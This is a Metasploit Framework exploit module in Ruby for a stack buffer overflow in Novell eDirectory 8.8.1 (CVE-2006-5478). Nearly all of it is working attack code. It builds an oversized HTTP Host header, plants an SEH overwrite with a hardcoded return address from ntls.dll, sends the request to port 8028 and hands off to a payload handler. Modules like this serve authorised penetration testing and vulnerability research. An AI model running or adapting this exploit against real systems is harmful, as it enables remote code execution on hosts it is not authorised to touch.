metasploit-framework/modules/exploits/windows/http/edirectory_host.rb

74 lines
2.0 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell eDirectory NDS Server Host Header Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Novell eDirectory 8.8.1.
The web interface does not validate the length of the
HTTP Host header prior to using the value of that header in an
HTTP redirect.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2006-5478'],
['OSVDB', '29993'],
['BID', '20655'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll
],
'Privileged' => true,
'DisclosureDate' => 'Oct 21 2006',
'DefaultTarget' => 0))
register_options([Opt::RPORT(8028)], self.class)
end
def exploit
connect
sploit = "GET /nds HTTP/1.1" + "\r\n"
sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars)
sploit << "," + rand_text_alphanumeric(719, payload_badchars)
seh = generate_seh_payload(target.ret)
sploit[705, seh.length] = seh
sploit << "\r\n\r\n"
print_status("Trying target #{target.name}...")
sock.put(sploit)
handler
disconnect
end
end